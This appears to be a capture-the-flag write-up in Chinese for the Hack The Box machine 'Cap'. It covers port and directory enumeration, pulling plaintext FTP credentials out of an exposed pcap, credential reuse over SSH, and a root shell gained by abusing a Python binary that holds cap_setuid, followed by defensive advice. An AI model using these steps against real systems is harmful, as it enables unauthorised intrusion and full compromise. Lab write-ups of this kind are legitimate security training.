R3fr4kt/Cap
GitHub: R3fr4kt/Cap
Stars: 0 | Forks: 0
# Cap
# Hack The Box – Cap
## 执行摘要
**Cap** 是一台 Linux 机器,展示了不当的权限管理和暴露敏感网络抓包文件如何导致系统完全沦陷。
攻击链包括:
* 服务枚举
* 访问暴露的网络抓包文件 (.pcap)
* 提取明文凭据
* 通过 Python 中配置错误的 Linux Capabilities 实现权限提升
该机器突显了 Linux 环境中安全服务配置、凭据保护和严格权限控制的重要性。
## 1. 枚举
执行了完整的 TCP 端口扫描:
```
nmap -Pn -n -p- --min-rate 5000
```
识别到三个开放端口:
* 21 (FTP)
* 22 (SSH)
* 80 (HTTP)
随后进行了针对性服务扫描:
```
nmap -p21,22,80 -sSCV -T4
```
HTTP 服务因其潜在的攻击面而被优先处理。
## 2. Web 枚举
进行了目录爆破:
```
gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```
发现了以下端点:
* `/data`
* `/ip`
* `/netstat`
* `/capture`
`/data` 端点允许对数字 ID 进行枚举:
```
http:///data/0
```
这导致下载了一个包含捕获的网络流量的 `.pcap` 文件。
## 3. 流量分析
使用 Wireshark 分析了该 `.pcap` 文件,应用了以下过滤器:
```
tcp.port == 21
```
通过搜索 FTP 认证尝试 (`CTRL + F → USER`),识别出了该用户的明文凭据:
```
nathan
```
这演示了使用未加密 FTP 的风险,因为凭据是以明文形式传输的。
## 4. 初始访问
使用恢复的密码通过 FTP 进行认证:
```
ftp 21
```
成功获取 `user.txt` flag。
随后通过 SSH 测试了相同的凭据:
```
ssh nathan@
```
SSH 访问成功。
## 5. 权限提升
为了识别潜在的权限提升向量,枚举了 Linux capabilities:
```
getcap -r / 2>/dev/null
```
识别出以下配置错误:
```
/usr/bin/python3.8 = cap_setuid+ep
```
此 Capability 允许 Python 二进制文件更改正在运行的进程的 UID。
利用过程非常直接:
```
import os
os.setuid(0)
os.system("/bin/bash")
```
这成功获取了一个 root shell。
## 6. 安全影响
该机器展示了多个关键的安全弱点:
1. 网络抓包文件的公开暴露。
2. 使用未加密的 FTP。
3. 跨服务凭据复用。
4. 通用二进制文件上配置错误的 Linux Capabilities。
滥用 Python 上的 `cap_setuid` 有效地绕过了权限分离,导致系统完全沦陷。
## 7. 技术总结
此场景反映了现实的攻击条件,其中:
* 系统性的枚举导致敏感数据泄露。
* 网络流量分析揭示了关键秘密。
* 配置错误的 Linux Capabilities 可能与 SUID 配置错误一样危险。
* 微小的安全疏忽可能被串联起来导致系统被完全接管。
### 防御建议
* 避免公开暴露网络抓包文件。
* 用加密替代方案(如 SFTP)取代 FTP。
* 使用 `getcap` 审计系统能力。
* 实施最小权限原则。
标签:FTP 未加密, Hack The Box, HTTP工具, Linux Capabilities, Linux 安全, Nmap, PCAP 分析, Privilege Escalation, Python3.6, Python 提权, SSH 访问, Wireshark, 内存分配, 凭据窃取, 初始访问, 协议分析, 句柄查看, 服务器监控, 服务枚举, 本地模型, 权限提升, 漏洞复现, 目录爆破, 网络安全, 网络安全审计, 网络流量分析, 虚拟驱动器, 逆向工具, 防御绕过, 隐私保护